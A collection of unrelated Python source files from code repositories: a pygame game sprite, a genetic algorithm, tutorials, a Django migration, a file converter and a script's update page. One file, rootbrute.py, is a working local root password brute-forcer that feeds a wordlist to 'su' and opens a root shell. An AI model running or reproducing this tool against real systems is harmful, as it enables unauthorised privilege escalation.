SparshaSaha/Self-Playing-AI-Bot-using-Evolutionary-Algorithms
| 11 |
2024041
|
import pygame
class Player(object):
def __init__(self, x, y):
self.x = x
self.y = [y, y + 20, y]
self.hitbox = (self.x, self.y[0], 38, 40)
self.hitboxRectStanding = pygame.Rect(self.x, self.y[0], 41, 40)
self.hitboxRectDucking = pygame.Rect(self.x, self.y[1], 58, 30)
self.frameCount = 0
self.index = 0
self.currentImageIndex = 0
self.imageName = ["Sprites/GameImages/tRexLeftLeg.png", "Sprites/GameImages/tRexDuck.png", "Sprites/GameImages/tRexRightLeg.png", "Sprites/GameImages/tRexDuckRight.png"]
def drawCharacter(self, canvas, index):
if self.frameCount % 10 == 0 or index != self.index:
self.currentImageIndex = self.flip(index)
self.frameCount = 0
self.index = index
if index == 0 or index == 2:
self.hitbox = (self.x, self.y[0], 38, 40)
self.hitboxRectStanding = pygame.Rect(self.x, self.y[0], 41, 40)
self.hitboxRect = self.hitboxRectStanding
else:
self.hitboxRectDucking = pygame.Rect(self.x, self.y[1], 58, 30)
self.hitbox = (self.x, self.y[1], 58, 30)
self.hitboxRect = self.hitboxRectDucking
self.frameCount += 1
canvas.blit(pygame.image.load(self.imageName[self.currentImageIndex]), (self.x,self.y[index]))
#pygame.draw.rect(canvas, (255, 0, 0), self.hitbox,2)
def jump(self, jump, direction, jumpSpeed):
self.y[0] += jumpSpeed * direction
if self.y[0] < 410 :
direction = 1
return True, direction
elif self.y[0] >= 500:
direction = -1
return False, direction
else:
return True, direction
def detectCollision(self, sprite):
return self.hitboxRect.colliderect(sprite.hitbox)
def flip(self, index):
if index == 0:
if self.currentImageIndex == 0:
return 2
else:
return 0
else:
if self.currentImageIndex == 1:
return 3
else:
return 1
| 2,129 |
utils/ga.py
|
cattidea/bp-ga-pytorch
| 10 |
2024336
|
import numpy as np
class Genome():
""" 种群基因组，用于管理整个种群的染色体，数据分布为 U(0, 1)
Args:
pop_size: 种群规模
chrom_len: 染色体长度
Attributes:
pop_size: 种群规模
chrom_len: 染色体长度
data: 基因组数据
best: 最佳染色体
"""
def __init__(self, pop_size, chrom_len):
""" 初始化种群 """
self.pop_size = pop_size
self.chrom_len = chrom_len
self.data = None
self.best = None
def select(self, fitness_array):
""" 选择 """
raise NotImplementedError()
def cross(self, cross_prob):
""" 交叉 """
raise NotImplementedError()
def mutate(self, mutate_prob, progress):
""" 突变 """
raise NotImplementedError()
def __getitem__(self, index):
""" 直接获取内部数据 """
return self.data[index].copy()
def __setitem__(self, index, value):
""" 直接修改内部数据 """
self.data[index] = value.copy()
def _to_view(self, chrom):
""" 将编码数据转换为可视化模式，分布仍为 U(0, 1) """
raise NotImplementedError()
def view(self, index, bound):
""" 获取某一项编码数据的真实分布数据 """
chrom = self._to_view(self.data[index])
return (bound[1] - bound[0]) * chrom + bound[0]
def view_best(self, bound):
""" 获取最佳编码数据的真实分布数据 """
chrom = self._to_view(self.best)
return (bound[1] - bound[0]) * chrom + bound[0]
class GenomeReal(Genome):
""" 实值编码基因组 """
def __init__(self, pop_size, chrom_len):
super().__init__(pop_size, chrom_len)
self.data = np.random.uniform(0, 1, size=(pop_size, chrom_len))
def select(self, fitness_array):
""" 选择 """
indices = np.random.choice(np.arange(
self.pop_size), size=self.pop_size, p=fitness_array/fitness_array.sum())
self.data[:], fitness_array[:] = self.data[indices], fitness_array[indices]
def cross(self, cross_prob):
""" 交叉 """
for idx in range(self.pop_size):
if np.random.rand() < cross_prob:
idx_other = np.random.choice(
np.delete(np.arange(self.pop_size), idx), size=1)
cross_points = np.random.random(
self.chrom_len) < np.random.rand()
cross_rate = np.random.rand()
self.data[idx, cross_points], self.data[idx_other, cross_points] = \
(1-cross_rate) * self.data[idx, cross_points] + cross_rate * self.data[idx_other, cross_points], \
(1-cross_rate) * self.data[idx_other, cross_points] + \
cross_rate * self.data[idx, cross_points]
def mutate(self, mutate_prob, progress):
""" 突变 """
for idx in range(self.pop_size):
if np.random.rand() < mutate_prob:
mutate_position = np.random.choice(
np.arange(self.chrom_len), size=1)
self.data[idx][mutate_position] += np.random.uniform(0, 1) * (
np.random.randint(2)-self.data[idx][mutate_position]) * (1-progress)**2
def _to_view(self, chrom):
""" 将编码数据转换为可视化模式，分布仍为 U(0, 1) """
return chrom
class GenomeBinary(Genome):
""" 二进制编码基因组 """
def __init__(self, pop_size, chrom_len, code_len=16):
super().__init__(pop_size, chrom_len)
self.code_len = code_len
self.data = np.random.random((pop_size, chrom_len*code_len)) < 0.5
self.binary_template = np.zeros(code_len)
for i in range(code_len):
self.binary_template[i] = (2**i) / 2**code_len
def select(self, fitness_array):
""" 选择 """
indices = np.random.choice(np.arange(
self.pop_size), size=self.pop_size, p=fitness_array/fitness_array.sum())
self.data[:], fitness_array[:] = self.data[indices], fitness_array[indices]
def cross(self, cross_prob):
""" 交叉 """
for idx in range(self.pop_size):
if np.random.rand() < cross_prob:
idx_other = np.random.choice(
np.delete(np.arange(self.pop_size), idx), size=1)
cross_points = np.random.random(
self.chrom_len*self.code_len) < np.random.rand()
self.data[idx, cross_points], self.data[idx_other, cross_points] = \
self.data[idx_other,
cross_points], self.data[idx, cross_points]
def mutate(self, mutate_prob, progress):
""" 突变 """
for idx in range(self.pop_size):
if np.random.rand() < mutate_prob:
mutate_position = np.random.choice(
np.arange(self.chrom_len*self.code_len), size=1)
self.data[idx][mutate_position] = ~self.data[idx][mutate_position]
def _to_view(self, chrom):
""" 将编码数据转换为可视化模式，分布仍为 U(0, 1) """
return np.sum(chrom.reshape(self.chrom_len, self.code_len) * self.binary_template, axis=-1)
class GA():
""" 遗传算法
Args:
pop_size: 种群规模
chrom_len: 染色体长度
bound: 染色体真实上下界
calculate_fitness_func: 用于计算适应度的函数
GenomeClass: 基因组所使用的编码（实值编码：GenomeReal，二进制编码：GenomeBinary）
cross_prob: 交叉概率
mutate_prob: 变异概率
Attributes:
pop_size: 种群规模
chrom_len: 染色体长度
bound: 染色体真实上下界
cross_prob: 交叉概率
mutate_prob: 变异概率
genome: 种群基因组（用于管理全部染色体）
fitness_array: 适应度数组
best_fitness: 最佳适应度
Examples:
>>> pop_size = 10
>>> chrom_len = 100
>>> bound = [0, 1] # np.vstack([np.zeros(chrom_len), np.ones(chrom_len)])
>>> def calculate_fitness(x):
>>> # 根据染色体真实数据计算适应度
>>> return ...
>>> ga = GA(pop_size, chrom_len, bound, calculate_fitness, GenomeClass=GenomeBinary, cross_prob=0.8, mutate_prob=0.3)
>>> ga.genetic(1000, log=True)
>>> ga.result()
"""
def __init__(self, pop_size, chrom_len, bound, calculate_fitness_func,
GenomeClass=GenomeReal, cross_prob=0.8, mutate_prob=0.03):
self.pop_size = pop_size
self.chrom_len = chrom_len
self.bound = bound
self.cross_prob = cross_prob
self.mutate_prob = mutate_prob
self.calculate_fitness = calculate_fitness_func
self.fitness_array = np.zeros(pop_size)
self.genome = GenomeClass(pop_size=pop_size, chrom_len=chrom_len)
self.update_fitness()
self.best_fitness = 0
self.update_records()
def update_records(self):
""" 更新最佳记录 """
best_index = np.argmax(self.fitness_array)
self.genome.best = self.genome[best_index]
self.best_fitness = self.fitness_array[best_index]
def replace(self):
""" 使用前代最佳替换本代最差 """
worst_index = np.argmin(self.fitness_array)
self.genome[worst_index] = self.genome.best
self.fitness_array[worst_index] = self.best_fitness
def update_fitness(self):
""" 重新计算适应度 """
for idx in range(self.pop_size):
self.fitness_array[idx] = self.calculate_fitness(
self.genome.view(idx, self.bound))
def genetic(self, num_gen, log=True):
""" 开始运行遗传算法 """
for e in range(num_gen):
self.genome.select(self.fitness_array)
self.genome.cross(self.cross_prob)
self.genome.mutate(self.mutate_prob, progress=e/num_gen)
self.update_fitness()
if self.fitness_array[np.argmax(self.fitness_array)] > self.best_fitness:
self.replace()
self.update_records()
if log:
print('Evolution {} Best: {}, Average: {}'.format(
e+1, self.fitness_array.max(), self.fitness_array.mean()))
def result(self):
""" 输出最佳染色体 """
return self.genome.view_best(self.bound)
if __name__ == '__main__':
def F(x):
return x + 10*np.sin(5*x) + 7*np.cos(4*x)
def calculate_fitness(x):
return F(x) + 50
POP_SIZE = 5
CHROM_LEN = 1
X_BOUND = (-2, 5)
bound = np.zeros((2, CHROM_LEN))
bound[0] = X_BOUND[0] * np.ones(CHROM_LEN)
bound[1] = X_BOUND[1] * np.ones(CHROM_LEN)
# Evolution
ga = GA(POP_SIZE, CHROM_LEN, bound, calculate_fitness,
GenomeClass=GenomeBinary, cross_prob=0.8, mutate_prob=0.3)
ga.genetic(1000, log=True)
# Plot
import matplotlib.pyplot as plt
x_axis = np.linspace(*X_BOUND, 200)
print("Best fitness: {}, target: {}".format(calculate_fitness(
ga.result())[0], calculate_fitness(x_axis[np.argmax(F(x_axis))])))
plt.plot(x_axis, F(x_axis))
plt.scatter(ga.result(), F(ga.result()), color='r')
plt.show()
| 8,663 |
8.49. Entendendo o args.py
|
kyumiouchi/python-basic-to-advanced
| 0 |
2024483
|
"""
*args understanding
- args is a parameter. Can be anything if start with *
*xis
Community chose *args
Whats is *args?
args is pass as parameter at function, Value extra as tuple
# Samples Wrong
def sum_all_value(num1=1, num2=2, num3=3, num4=4):
return num1 + num2 + num3 + num4
print(sum_all_value(4, 6, 9)) # 23
def sum_all_value(name, email, *args):
return sum(args)
print(sum_all_value('name', 'Ouchi'))
print(sum_all_value('name', 'Ouchi', 1))
print(sum_all_value('name', 'Ouchi', 1, 2))
print(sum_all_value('name', 'Ouchi', 1, 2, 3))
print(sum_all_value('name', 'Ouchi', 1, 2, 3, 4))
print(sum_all_value('name', 'Ouchi', 1.1, 2.34, 3, 4))
def verify_info(*args):
if 'Yumi' in args and 'Ouchi' in args:
return 'Welcome Yumi'
return 'I do not know who you are'
print(verify_info())
print(verify_info(1, True, 'Ouchi', 'Yumi'))
print(verify_info(1, True, 234234, 'Yumi'))
"""
def sum_all_value(*args):
return sum(args)
print(sum_all_value()) # 0
print(sum_all_value(1)) # 1
numbers = (1, 2, 3, 4, 5, 6)
# print(sum_all_value(numbers)) # TypeError: unsupported operand type(s) for +: 'int' and 'list'
# Unpacked
print(sum_all_value(*numbers))
# * collection of data and unpacked the data
numbers = [1, 2, 3, 4, 5, 6]
print(sum_all_value(*numbers))
| 1,309 |
ask/instance/migrations/0003_auto_20150820_0759.py
|
kikofernandez/match-django
| 0 |
2023013
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('instance', '0002_auto_20150820_0716'),
]
operations = [
migrations.AddField(
model_name='service',
name='cancellable',
field=models.BooleanField(default=False, help_text=b"Should it be cancelled if it doesn't reach minimum number of people?"),
),
migrations.AddField(
model_name='service',
name='no_people',
field=models.IntegerField(default=1, help_text=b'Number of people for the service'),
),
migrations.AddField(
model_name='service',
name='priority',
field=models.IntegerField(default=200, choices=[(300, b'High'), (200, b'Normal'), (100, b'Low')]),
),
migrations.AddField(
model_name='service',
name='state',
field=models.CharField(default=b'IP', max_length=2, choices=[(b'FU', b'Fulfilled'), (b'CA', b'Cancelled'), (b'IP', b'In Progress'), (b'PP', b'Pending Payment')]),
),
migrations.RemoveField(
model_name='service',
name='assigned',
),
migrations.AddField(
model_name='service',
name='assigned',
field=models.ManyToManyField(related_query_name=b'services', related_name='service', to=settings.AUTH_USER_MODEL, blank=True),
),
migrations.AlterField(
model_name='service',
name='skills',
field=models.ManyToManyField(help_text=b'Select the required skills', related_name='skill', related_query_name=b'skills', to='instance.Skill'),
),
migrations.AlterField(
model_name='service',
name='user_request',
field=models.ForeignKey(related_query_name=b'authors', related_name='author', to=settings.AUTH_USER_MODEL),
),
]
| 2,119 |
shipyard.py
|
RMPiria/painelContreole
| 0 |
2023064
|
# Export list of ships as CSV
import time
from companion import ship_map
from config import config
def export(data, filename):
querytime = config.getint('querytime') or int(time.time())
assert data['lastSystem'].get('name')
assert data['lastStarport'].get('name')
assert data['lastStarport'].get('ships')
header = 'System,Station,Ship,FDevID,Date\n'
rowheader = '%s,%s' % (data['lastSystem']['name'], data['lastStarport']['name'])
h = open(filename, 'wt')
h.write(header)
for (name,fdevid) in [(ship_map.get(ship['name'].lower(), ship['name']), ship['id']) for ship in (data['lastStarport']['ships'].get('shipyard_list') or {}).values() + data['lastStarport']['ships'].get('unavailable_list')]:
h.write('%s,%s,%s,%s\n' % (rowheader, name, fdevid, data['timestamp']))
h.close()
| 833 |
performance-analysis/data_generator_programs/get_total_time.py
|
xtrp/jupiter
| 47 |
2024503
|
import json
datafile = open('../data/main_data.json', 'r')
data = json.loads(datafile.read())["data"]
datafile.close()
ms = 0
for i, example in enumerate(data):
for move in example:
data = list(map(str, move.values()))
ms += int(data[1])
def percent(x):
return str((x * 10000 // len(example)) / 100)
print(i)
print("Total:\t" + str(ms) + "ms");
print("Or:\t" + str(ms / 1000) + "s");
| 424 |
sentry_only.py
|
Learko/Sentry
| 0 |
2024462
|
#!/usr/bin/env python3.6
import sys
from serial import Serial
from math import tan, atan, radians, degrees
hello = b'''\r\nGrbl 1.1f ['$' for help]\r\n'''
ok = b'''ok\r\nok\r\n'''
class Sentry(object):
def __init__(self, tty, baudrate):
self._serial = Serial(tty, baudrate)
b = b''
while b != hello:
b += self._serial.read_all()
self.code = ok
self.x_rate = 5000
self.y_rate = 4000
self.x_acc = 1000
self.y_acc = 1000
self._x = 0
self._y = 0
self._feed_rate = 9000
def __del__(self):
self._serial.close()
def jog(self, x, y):
if abs(self._y + y) < 10:
self._x += x
self._y += y
self.send(f'$J=G90 G21 X{self._x} Y{self._y} F{self._feed_rate}')
else:
print('Woops: %i, %i', (self._x + x, self._y + y))
def send(self, cmd):
self._serial.write(f'{cmd}\r\n'.encode('ascii'))
self.code = b''
while self.code != ok:
self.code += self._serial.read_all()
def recv(self):
return self._serial.read_all()
@property
def x_rate(self):
return self._x_rate
@x_rate.setter
def x_rate(self, rate):
self._x_rate = rate
self.send(f'$110={rate}')
@property
def y_rate(self):
return self._y_rate
@y_rate.setter
def y_rate(self, rate):
self._y_rate = rate
self.send(f'$111={rate}')
@property
def x_acc(self):
return self._x_acc
@x_acc.setter
def x_acc(self, acc):
self._x_acc = acc
self.send(f'$120={acc}')
@property
def y_acc(self):
return self._y_acc
@y_acc.setter
def y_acc(self, acc):
self._y_acc = acc
self.send(f'$121={acc}')
if __name__ == '__main__':
# sentry = Sentry('/dev/ttyACM0', 115200)
while True:
try:
*_, x, y = map(int, input().split())
print(x, y)
# sentry.jog(x, y)
except EOFError:
sys.exit()
| 2,099 |
Interview Preparation/Recursion/davids_staircase.py
|
matheuscordeiro/HackerRank
| 0 |
2024447
|
cache = {}
def stepPerms(n):
if n == 0:
return 1
if n in cache:
return cache[n]
with_one = with_two = with_three = 0
if n >= 1:
with_one = stepPerms(n-1)
if n >= 2:
with_two = stepPerms(n-2)
if n >= 3:
with_three = stepPerms(n-3)
cache[n] = with_one + with_two + with_three
return cache[n]
if __name__ == "__main__":
print(stepPerms(7))
| 420 |
inql/burp_ext/generator_tab.py
|
AmesCornish/inql
| 0 |
2023338
|
from __future__ import print_function
import platform
if platform.system() != "Java":
print("Load this file inside jython, if you need the stand-alone tool run: inql")
exit(-1)
import json
from burp import ITab
from inql.actions.sendto import RepeaterSenderAction, OmniMenuItem, EnhancedHTTPMutator, GraphiQLSenderAction
from inql.actions.setcustomheader import CustomHeaderSetterAction
from inql.widgets.generator import GeneratorPanel
class GeneratorTab(ITab):
"""
Java GUI
"""
def __init__(self, callbacks, helpers):
self._callbacks = callbacks
self._helpers = helpers
def getTabCaption(self):
"""
Override ITab method
:return: tab name
"""
return "InQL Scanner"
def getUiComponent(self):
"""
Override ITab method
:return: Tab UI Component
"""
overrideheaders = {}
repeater_omnimenu = OmniMenuItem(callbacks=self._callbacks, helpers=self._helpers, text="Send to Repeater")
graphiql_omnimenu = OmniMenuItem(callbacks=self._callbacks, helpers=self._helpers, text="Send to GraphiQL")
http_mutator = EnhancedHTTPMutator(
callbacks=self._callbacks, helpers=self._helpers, overrideheaders=overrideheaders)
repeater_sender = RepeaterSenderAction(omnimenu=repeater_omnimenu, http_mutator=http_mutator)
graphiql_sender = GraphiQLSenderAction(omnimenu=graphiql_omnimenu, http_mutator=http_mutator)
custom_header_setter = CustomHeaderSetterAction(overrideheaders=overrideheaders, text="Set Custom Header")
try:
restore = self._callbacks.loadExtensionSetting(GeneratorPanel.__name__)
except Exception as ex:
print("Cannot restore state! %s" % ex)
restore = None
proxy = None
for request_listener in json.loads(self._callbacks.saveConfigAsJson())["proxy"]["request_listeners"]:
if request_listener["running"]:
proxy = "localhost:%s" % request_listener["listener_port"]
break
self.panel = GeneratorPanel(
actions=[
repeater_sender,
graphiql_sender,
custom_header_setter],
restore=restore,
proxy=proxy,
http_mutator=http_mutator,
texteditor_factory=self._callbacks.createTextEditor
)
self._callbacks.customizeUiComponent(self.panel.this)
return self.panel.this
def bring_in_front(self):
self.panel.this.setAlwaysOnTop(True)
self.panel.this.setAlwaysOnTop(False)
def save(self):
"""
Save Extension State before exiting
:return: None
"""
try:
self._callbacks.saveExtensionSetting(self.panel.__class__.__name__, self.panel.state())
except:
print("Cannot save state!")
| 2,902 |
File Conversion/convert_offline_case.py
|
mewturn/Python
| 0 |
2023977
|
class OfflineCase:
def __init__(self, filename):
self.filename = filename
self.output_filename = filename.split(".")[0]
self.parseSegments()
def parseSegments(self):
import openpyxl
self.segments = []
wb = openpyxl.load_workbook(self.filename)
for sheetname in wb.sheetnames:
sheet = wb[sheetname]
i = 4
while True:
id = sheet[f"A{i}"].value
source = sheet[f"B{i}"].value
if id is not None and source is not None:
target = sheet[f"C{i}"].value
if target is None:
target = ""
self.segments.append(Segment(id, source, target))
i += 1
else:
break
def convert(self, ext):
ext_map = {
"tmx": self.convertTMX(),
"xliff": self.convertXLIFF()
}
output_filename = f"{self.output_filename}.{ext}"
header, body, footer = ext_map[ext]
with open(output_filename, "w", encoding="utf-8") as f:
f.write(header)
f.write(body)
f.write(footer)
def convertTMX(self):
header = "<?xml version='1.0' encoding='UTF-8'?>\n"
header += "<tmx version='1.4'>\n"
header += "<header adminlang='en' creationtool='WritePath Translation Editor' creationtoolversion='1.0' datatype='tbx' o-tmf='unknown' segtype='block'/>\n"
header += "<body>\n\n"
body = ""
if self.segments:
for segment in self.segments:
body += f"<tu origin='tbx' tuid='{segment.id}'>\n"
body += "<tuv xml:lang='zh-TW'>\n"
body += f"<seg>{segment.source}</seg>\n"
body += "</tuv>\n"
body += "<tuv xml:lang='en'>\n"
body += f"<seg>{segment.target}</seg>\n"
body += "</tuv>\n"
body += "</tu>\n\n"
footer = "</body>\n"
footer += "</tmx>\n"
return header, body, footer
def convertXLIFF(self):
header = "<?xml version='1.0' encoding='UTF-8'?>\n"
header += "<xliff version='1.2' xmlns='urn:oasis:names:tc:xliff:document:1.2'>\n"
header += "<file original='writepath-case112066' datatype='plaintext' source-language='zh-TW' target-language='en'>\n"
header += "<body>\n\n"
body = ""
if self.segments:
for segment in self.segments:
body += f"<trans-unit id='{segment.id}'>\n"
body += f"<source id='{segment.id}'>{segment.source}</source>\n"
body += f"<target id='{segment.id}' state='translated'>{segment.target}</target>\n"
body += "</trans-unit>\n\n"
footer = "</body>\n"
footer += "</file>\n"
footer += "</xliff>\n"
return header, body, footer
class Segment:
def __init__(self, id, source, target):
self.id = id
self.source = self.cleanStringForXML(source)
self.target = self.cleanStringForXML(target)
def cleanStringForXML(self, text, reverse=False):
find_and_replace = {
"&": "&",
"\"": """,
"'": "'",
"<": "<",
">": ">"
}
text = str(text)
for k, v in find_and_replace.items():
if reverse:
text = text.replace(v, k)
else:
text = text.replace(k, v)
return text.strip()
if __name__ == "__main__":
import os
import time
ext_num = input("Select output format - [1]: TMX, [2]: XLIFF\nEnter number: ")
ext_map = {
"1": "tmx",
"2": "xliff"
}
try:
for i in os.listdir():
if ".xlsx" in i:
start_time = time.time()
print(f"Processing file {i}")
offline_case = OfflineCase(i)
offline_case.convert(ext_map[ext_num])
elapsed_time = round(time.time() - start_time, 2)
print(f"Success! Completed in {elapsed_time} seconds.")
input("Task completed. Press <Enter> to close this window.")
except Exception as e:
input(f"An error occurred. {repr(e)}. Press <Enter> to close this window.")
| 4,505 |
challenges/codility/lessons/q029/min_perimeter_rectangle_v001.py
|
Joeffison/coding_challenges
| 1 |
2023191
|
#!/usr/bin/env python3
from math import sqrt
def solution(n):
"""
Returns the minimal perimeter for a rectangle of area n.
"""
# given the sides a and b, the area of a rectangle is n = a*b and the perimeter is 2 * (a + b)
# for a minimal perimeter, we have to minimize the difference between a and b
for i in range(int(sqrt(n)), 0, -1):
# a and b must be the closest possible to sqrt(n)
if n % i == 0:
return 2*(i + n//i)
| 453 |
rootbrute.py
|
lucthienphong1120/full-45-bruteforce-tools
| 1 |
2023280
|
#!/usr/bin/python
#Local Root BruteForcer
#More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=1571
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys
try:
import pexpect
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)
#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'
def brute(word):
print "Trying:",word
child = pexpect.spawn ('su')
child.expect ('Password: ')
child.sendline (word)
i = child.expect (['.+\s#\s',LOGIN_ERROR])
if i == 0:
print "\n\t[!] Root Password:",word
child.sendline ('whoami')
print child.before
child.interact()
#if i == 1:
#print "Incorrect Password"
if len(sys.argv) != 2:
print "\nUsage : ./rootbrute.py <wordlist>"
print "Eg: ./rootbrute.py words.txt\n"
sys.exit(1)
try:
words = open(sys.argv[1], "r").readlines()
except(IOError):
print "\nError: Check your wordlist path\n"
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
brute(word.replace("\n",""))
| 1,136 |
figures/figure_5.py
|
mhsung/fuzzy-set-dual
| 2 |
2023412
|
#!/usr/bin/env python
# <NAME> (<EMAIL>)
# March 2018
import os, sys
BASE_DIR = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(__file__))))
from collect_results import *
if __name__ == '__main__':
synset_partial_idx_pairs = [
('Airplane', 579),
('Car', 57),
('Chair', 7251),
('Guitar', 5),
('Lamp', 117),
('Rifle', 371),
('Sofa', 1184),
('Table', 1414),
('Watercraft', 294)]
top_k = 5
out_name = os.path.splitext(os.path.basename(__file__))[0]
out_dir = os.path.join(BASE_DIR, out_name)
collect_complementarity_results(synset_partial_idx_pairs, top_k, out_dir)
| 721 |
Plugins/Configs/Pages/Updates.py
|
CHHOrganization/BlackDoc
| 3 |
2022970
|
import os, time, sys
from Plugins.Configs.Settings import *
def Updates_Page():
print(Dark_Blue + BG_Dark_Green + Line + Rest)
clearConsole()
Index_Banner()
for char in Banner_msg:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.0)
print(Dark_Blue + BG_Dark_Green + "")
for char in Line:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.500)
print(Rest + Bright_Green + BG_Dark_Blue)
for char in Endl:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.0)
print(Rest +"")
print(Bright_Yellow)
Auto_Text_15 = "Updates"
for char in Auto_Text_15:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.1)
print("")
#The Org Message
print(Bright_Yellow)
Auto_Text_11 = "The Organization Updates"
for char in Auto_Text_11:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.1)
print("")
print(Dark_Cyan)
Auto_Text_12 = "Date: 20/02/2022 Updates"
for char in Auto_Text_12:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print("")
print(Bright_Green +"The Org is finally in it's own level of\n\
trust with it's members to share and make use of this script. This Script")
print("Containing The Org data as our members\n\
agreed to share their public cryptic info throw the BlackDoc")
print(Bright_Red +"Please Note; All information in this\n\
document is classified to unmembers of\n\
The Org")
print("Make sure you dont share this script!")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Dark_Blue + BG_Dark_Green + Line + Rest)
#New Members Updates
print(Bright_Yellow)
Auto_Text_13 = "New Members List"
for char in Auto_Text_13:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.1)
print("")
print(Dark_Cyan)
Auto_Text_14 = "Date: 21/03/2022 Updates "
for char in Auto_Text_14:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print("")
print(Dark_Magenta + Ms1 + Bright_Red +". Theres No New Members...")
print(Bright_Green +"Use Menu -> Then Cammand; 'Memberships'\n\
To See The Full Memberships Borad.")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Dark_Blue + BG_Dark_Green + Line + Rest)
#About The BlackDoc
print(Bright_Yellow)
Auto_Text_17 = "About BlackDoc Updates"
for char in Auto_Text_17:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.1)
print("")
print(Bright_Cyan)
Auto_Text_16 = "Date: 22/02 - 01/03/2022 Updates"
for char in Auto_Text_16:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print()
print(Bright_Green +"About The Script.")
print("You using;")
print("Name: BlackDocument.py")
print("Version: V0.0.03")
print("Security Level: "+ Ms1 + ".03")
print("Developed By: CHHOrg")
print("Promoted By: DarkDoor")
print("Released Date: 20/02/2022")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Yellow)
Auto_Text_18 = "Errors, Fixed Errors and New Features\n\
Updates"
for char in Auto_Text_18:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.1)
print("")
print(Dark_Cyan)
Auto_Text_10 = "Date: 21/02/2022 Updates\n\
[(Old Version)]"
for char in Auto_Text_10:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print("")
print(Bright_Red)
Auto_Text_9 = "[+] -> FIXED Errors"
for char in Auto_Text_9:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). Fixed all spelling errors")
print(Bright_Magenta + Ms2 + Bright_Green +"). Fixed all cutting words")
print(Bright_Magenta + Ms3 + Bright_Green +"). Fixed underlinings Lan")
print(Bright_Magenta + Ms4 + Bright_Green +"). Fixed underlining divisions")
print("for each page in our Menu")
print(Bright_Magenta + Ms5 + Bright_Green +"). Fixed directory folder in Zip")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Red)
Auto_Text_8 = "[+] -> New Features"
for char in Auto_Text_8:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). We added Colors")
print(Bright_Magenta + Ms2 + Bright_Green +"). We added Banner")
print(Bright_Magenta + Ms3 + Bright_Green +"). We added more error messages")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Cyan + "")
Auto_Text_7 = "Date: 22/02 - 01/03/2022 Updates\n\
([Previous Version])"
for char in Auto_Text_7:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print(Bright_Red + "")
Auto_Text_6 = "[+] -> FIXED Errors"
for char in Auto_Text_6:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). Fixed Menu Borders")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Red + "")
Auto_Text_5 = "[+] -> New Features"
for char in Auto_Text_5:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). We added new menu items")
print(Bright_Magenta + Ms2 + Bright_Green +"). We added script animation")
print(Bright_Magenta + Ms3 + Bright_Green +"). We added new security for exits")
print(Bright_Magenta + Ms4 + Bright_Green +"). We added a Bot")
print(Bright_Magenta + Ms5 + Bright_Green +"). We added Commands")
print(Bright_Magenta + Ms6 + Bright_Green +"). We added Org Rules at More. in Menu")
print(Bright_Magenta + Ms7 + Bright_Green +"). We added Loading Progress")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Red +"")
Auto_Text_4 = "[+] -> Errors"
for char in Auto_Text_4:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). Chat Option in Menu for Termux/Linux\n\
Is not working!!!\n\
\n\
Note: In Termux we run TermuxRun.sh after\n\
Installations.")
print(Bright_Magenta + Ms2 + Bright_Green +"). Other Items in Menu they are\n\
Unavailable")
print(Bright_Magenta + Ms3 + Bright_Green +"). The script is still under Developing")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Cyan + "")
Auto_Text_7 = "Date: 01/03 - 21/03/2022 Updates\n\
([New Version])"
for char in Auto_Text_7:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.3)
print(Bright_Red + "")
Auto_Text_6 = "[+] -> FIXED Errors"
for char in Auto_Text_6:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). Fixed Login Security")
print(Bright_Magenta + Ms2 + Bright_Green +"). Fixed More Menu Logout System")
print(Bright_Magenta + Ms3 + Bright_Green +"). Fixed Directory Of Game; EvilNinja")
print(Bright_Magenta + Ms3 + Bright_Green +"). Fixed Updates Page (Updates Numbering)")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Red + "")
Auto_Text_5 = "[+] -> New Features"
for char in Auto_Text_5:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
